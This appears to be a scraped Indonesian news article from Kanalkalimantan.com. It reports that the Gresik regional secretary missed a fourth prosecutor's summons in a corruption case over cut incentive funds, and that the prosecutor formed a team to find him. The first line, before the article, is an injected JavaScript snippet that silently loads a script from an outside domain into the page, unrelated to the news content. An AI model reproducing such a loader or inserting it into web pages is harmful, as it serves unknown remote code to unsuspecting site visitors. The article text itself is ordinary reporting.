(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Kembali Mangkir Dipanggil, Kajari Bentuk Tim Buru Sekda Gresik


GRESIK, Sekretaris Daerah (Sekda) Kabupaten Gresik, Jawa Timur, Andhy Hendro Wijaya, lagi-lagi tak memenuhi panggilan Kejaksaan Negeri (Kejari) Gresik, Senin (21/10). Lantaran tak kunjung datang hingga batas waktu uang diberikan itu yakni pukul 12.00 WIB, membuat jajaran Kejari setempat, merasa tak dihormati.

Karena dianggap tidak menghormati hukum, mengundang Kepala Kejaksaan Negeri (Kajari) Gresik Pandu Pramukartika, mengambil langkah tegas. Ia pun membentuk tim untuk memburu keberadaan Andhy. Tim tersebut terdiri dari pidana khusus (Pidsus) dan Intel.

Langkah tegas diambil oleh orang nomor satu dijajaran Kejari Gresik ini, diambil lantaran Andhy tak kunjung datang memenuhi panggilan hingga yang keempat kalinya. Andhy dipanggil untuk diperiksah atas pengembangan kasus korupsi pemotongan dana insentif di BPPKAD.

“Saya perintahkan tim Kejari dari Pidsus dan Intel untuk mencari Pak Sekda. Sebab, panggilan ke-4 hingga pukul 12.00 WIB dia tak hadir,” ujar Pandu, Senin sore, kepada Kanalkalimantan.com.

Kajari menegaskan, pemanggilan Sekda untuk melengkapi keterangan saksi dan pengembangan kasus korupsi BPPKAD. Sayangnya, mantan Kepala BPPKAD Gresik ini, justru terkesan menghindari dan mangkir dari panggilan hukum.

Terkait mangkirnya dari panggilan keempat kalinya, Pandu mengaku sejauh ini belum menentukan status daftar pencarian orang (DPO), atau cekal terhadap Sekda Andhy. Meski begitu, Pandu, mengaku yang bersangkutan bisa saja dilakukan jemput paksa.

Diketahui, Kejari Gresik sebelumnya telah melayangkan empat kali surat panggilan kepada Sekda Gresik. Terakhir, pemanggilan dengan agenda pemeriksaan sebagai saksi yang dijadwalkan pada Senin (21/10).

Sebelumnya, Hakim Tipikor Surabaya yang memimpin sidang terdakwa mantan Pelaksana Tugas Kepala BPPKAD, M. Muktar meminta Kejari Gresik melakukan pengembangan kasus pemotongan dana insentif pegawai BPPKAD Gresik.

Penyidik Kejari lalu memanggil 12 saksi, di antaranya Kabid dan Kasubag, serta mantan Kabid dan Kasubag di BPPKAD. Namun, dari seluruh saksi, hanya Sekda Gresik yang mangkir hingga 3 kali dari panggilan penyidik Pidsus hingga dilayangkan pemanggilan keempat. (Muh)

Reporter : muh
Editor : Chell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.